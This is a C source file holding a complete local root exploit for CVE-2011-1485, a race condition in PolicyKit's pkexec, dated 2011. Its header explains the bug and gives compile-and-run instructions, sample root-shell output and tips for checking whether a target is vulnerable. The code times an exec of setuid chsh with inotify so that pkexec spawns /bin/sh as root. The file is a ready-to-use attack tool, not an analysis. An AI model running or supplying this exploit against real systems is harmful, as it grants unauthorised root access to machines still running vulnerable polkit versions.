/* polkit-pwnage.c * * * ============================== * = PolicyKit Pwnage = * = by zx2c4 = * = Sept 2, 2011 = * ============================== * * * Howdy folks, * * This exploits CVE-2011-1485, a race condition in PolicyKit. * * davidz25 explains: * * --begin-- * Briefly, the problem is that the UID for the parent process of pkexec(1) is * read from /proc by stat(2)'ing /proc/PID. The problem with this is that * this returns the effective uid of the process which can easily be set to 0 * by invoking a setuid-root binary such as /usr/bin/chsh in the parent * process of pkexec(1). Instead we are really interested in the real-user-id. * While there's a check in pkexec.c to avoid this problem (by comparing it to * what we expect the uid to be - namely that of the pkexec.c process itself which * is the uid of the parent process at pkexec-spawn-time), there is still a short * window where an attacker can fool pkexec/polkitd into thinking that the parent * process has uid 0 and is therefore authorized. It's pretty hard to hit this * window - I actually don't know if it can be made to work in practice. * --end-- * * Well, here is, in fact, how it's made to work in practice. There is as he said an * attempted mitigation, and the way to trigger that mitigation path is something * like this: * * $ sudo -u `whoami` pkexec sh * User of caller (0) does not match our uid (1000) * * Not what we want. So the trick is to execl to a suid at just the precise moment * /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed, * and execl to the suid binary as our very next instruction. * * ** Usage ** * $ pkexec --version * pkexec version 0.101 * $ gcc polkit-pwnage.c -o pwnit * $ ./pwnit * [+] Configuring inotify for proper pid. * [+] Launching pkexec. * sh-4.2# whoami * root * sh-4.2# id * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * sh-4.2# * * ** Targets ** * This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which * as of writing uses 0.101, has backported 0.102's bug fix. A way to check * this is by looking at the mtime of /usr/bin/pkexec -- April 22, 2011 or * later and you're out of luck. It's likely other distributions do the same. * Fortunately, this exploit is clean enough that you can try it out without * too much collateral. * * * greets to djrbliss and davidz25. * * - zx2c4 * 2-sept-2011 * */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/inotify.h> int main(int argc, char **argv) { printf("=============================\n"); printf("= PolicyKit Pwnage =\n"); printf("= by zx2c4 =\n"); printf("= Sept 2, 2011 =\n"); printf("=============================\n\n"); if (fork()) { int fd; char pid_path[1024]; sprintf(pid_path, "/proc/%i", getpid()); printf("[+] Configuring inotify for proper pid.\n"); close(0); close(1); close(2); fd = inotify_init(); if (fd < 0) perror("[-] inotify_init"); inotify_add_watch(fd, pid_path, IN_ACCESS); read(fd, NULL, 0); execl("/usr/bin/chsh", "chsh", NULL); } else { sleep(1); printf("[+] Launching pkexec.\n"); execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL); } return 0; }